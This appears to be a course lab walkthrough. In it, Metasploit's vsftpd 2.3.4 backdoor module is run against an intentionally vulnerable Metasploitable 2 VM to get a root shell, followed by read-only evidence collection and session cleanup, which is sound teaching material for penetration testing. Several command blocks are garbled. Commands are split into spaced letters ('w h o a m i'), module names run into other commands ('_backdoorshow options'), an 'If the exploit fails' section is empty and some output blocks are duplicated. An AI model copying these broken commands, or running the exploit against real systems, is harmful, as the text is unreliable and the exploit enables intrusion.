

Controlled Exploitation and Post-Exploitation Analysis

Objective and Exploit Lifecycle

The activity focuses on the controlled exploitation stage after reconnaissance: validate a known vulnerable service, select an appropriate exploit, obtain a shell, determine the privilege level, collect limited host evidence, and close the session cleanly.

Step 1 — Confirm the Lab Target

On Metasploitable 2, confirm the address:

```
ifconfig
```

From Kali, confirm connectivity:

```
ping -c 4 192.168.65.130
```

Kali — Verify Target

```
$ ping -c 4 192.168.65.130
PING 192.168.65.130 (192.168.65.130) 56(84) bytes of data.
64 bytes from 192.168.65.130: icmp_seq=1 ttl=64 time=0.003 ms
64 bytes from 192.168.65.130: icmp_seq=2 ttl=64 time=0.003 ms
64 bytes from 192.168.65.130: icmp_seq=3 ttl=64 time=0.003 ms
64 bytes from 192.168.65.130: icmp_seq=4 ttl=64 time=0.003 ms
4 packets transmitted, 4 received, 0% packet loss
```

Step 2 — Validate the Vulnerable FTP Service

Before exploiting, perform a focused check against TCP/21. This follows the evidence-driven approach used in the previous scanning activity.

```
sudo nmap -p21 -sV --script ftp-vsftpd-backdoor 192.168.65.130
```

Kali — Validate vsftpd Backdoor

```
$ sudo nmap -p21 -sV --script ftp-vsftpd-backdoor 192.168.65.130
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|   vsFTPD 2.3.4 backdoor
|_  State: VULNERABLE (in a controlled lab target)
```

Step 3 — Start Metasploit and Select the Lab Exploit

Launch Metasploit Framework:

```
msfconsole
```

Select the vsftpd 2.3.4 backdoor module:

```
use exploit/unix/ftp/vsftpd_234
_backdoorshow options
set RHOSTS 192.168.65.130
show options
```

Metasploit — Exploit Selection

```
$ msfconsole
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.65.130
RHOSTS => 192.168.65.130
msf6 exploit(...) > run
[+] 192.168.65.130:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 192.168.65.130:21 - Backdoor service has been spawned
[+] Command shell session 1 opened
```

Step 4 — Perform Controlled Exploitation

Once the target and module settings are verified, run the exploit against the isolated Metasploitable 2 host:

```
run
```

Metasploit — Exploit Selection

```
$ msfconsole
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.65.130
RHOSTS => 192.168.65.130
msf6 exploit(...) > run
[+] 192.168.65.130:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 192.168.65.130:21 - Backdoor service has been spawned
[+] Command shell session 1 opened
```

Expected lab outcome: a command shell session may be opened. The exact session number can vary; use the number shown by your own Metasploit console.

If the exploit fails

Step 5 — Interact With the Session

```
sessions
-lsessions
-i 1
```

Replace with the actual session number reported by Metasploit.

Metasploit — Session & Privilege Verification

```
$ sessions -i 1
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
hostname
metasploitable
pwd
/
This demonstrates that the obtained shell is running with root-level privileges.
```

Step 6 — Verify the Privilege Boundary

The purpose of this stage is not to make additional changes to the target. It is to document what

privilege the obtained shell already has.

```
w h o a
m i i
d h o s t n
a m e p w
d u
n a m e - a
```

Metasploit — Session & Privilege Verification

```
$ sessions -i 1
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
hostname
metasploitable
pwd
/
This demonstrates that the obtained shell is running with root-level privileges.
```

In the supplied Metasploitable 2 scenario, the vsftpd backdoor is expected to provide a root-level command shell when the vulnerable lab service is present. Your own output is the evidence that should be reported.

Step 7 — Safe Post-Exploitation Evidence Collection

Collect only information needed to document the lab result. The following commands are read-only host reconnaissance examples:

```
i d
u n a m e
-a h o s t
n a m e i p a
d d r
p s a u x | h e a d - 2 0
```

Post-Exploitation — Safe Evidence Collection

```
$ id; uname -a; ip addr; ps aux | head -20
uid=0(root) gid=0(root) groups=0(root)
Linux metasploitable 2.6.x ... i686 GNU/Linux
1: lo: <LOOPBACK,UP,LOWER_UP> ...
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> ... 192.168.65.130/24
USER      PID %CPU %MEM    COMMAND
root         1  0.0   ... /sbin/init
...
Evidence collected without changing system configuration.
```

Step 8 — Network and Service Evidence

Correlate the post-exploitation view of the host with the earlier Nmap results:

```
ss -ltnup
```

Post-Exploitation — Network & Service Evidence

```
$ ss -ltnup
Netid State  Local Address:Port
tcp    LISTEN  0.0.0.0:21
tcp    LISTEN  0.0.0.0:22
tcp    LISTEN  0.0.0.0:80
tcp    LISTEN  0.0.0.0:3306
...
Use this output to correlate the compromised host with the earlier Nmap findings.
```

This helps demonstrate the evidence chain: scanner finding → vulnerable service → controlled exploit → obtained session → host/service evidence.

Step 9 — Basic Filesystem/Host Evidence

Use harmless commands to document the environment without modifying files:

```
hostname
pwd
ls -la /tmp
```

Post-Exploitation — File/Host Evidence

```
$ hostname; pwd; ls -la /tmp
metasploitable
/
total ...
drwxrwxrwt ... /tmp
...
Avoid modifying or deleting files during evidence collection.
```

Step 10 — Close the Session and Clean Up

When evidence collection is complete, exit the target shell and verify that no Metasploit session remains active.

Exit

Sessions -l

Metasploit — Close Session

```
$ exit
root@metasploitable:/# exit
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -l
No active sessions remain.
Close the lab session and restore the VM snapshot if required by your course.
```

If your course uses VM snapshots, restore the pre-lab snapshot after recording evidence. This returns the intentionally vulnerable target to a known state.

Findings Table for the Lab Report

Stage	Evidence to record	What it demonstrates
Recon	Target 192.168.65.130 responds	Target is reachable inside the lab
Validation	vsftpd 2.3.4 on TCP/21	Potentially exploitable service identified
Exploitation	Metasploit session opened	Exploit execution succeeded in the lab
Privilege	whoami / id	Observed privilege boundary
Host evidence	hostname / uname / ip addr	Compromised host context
Network evidence	ss -lntup	Listening services from host perspective
Cleanup	sessions -l shows no active session	Controlled session terminated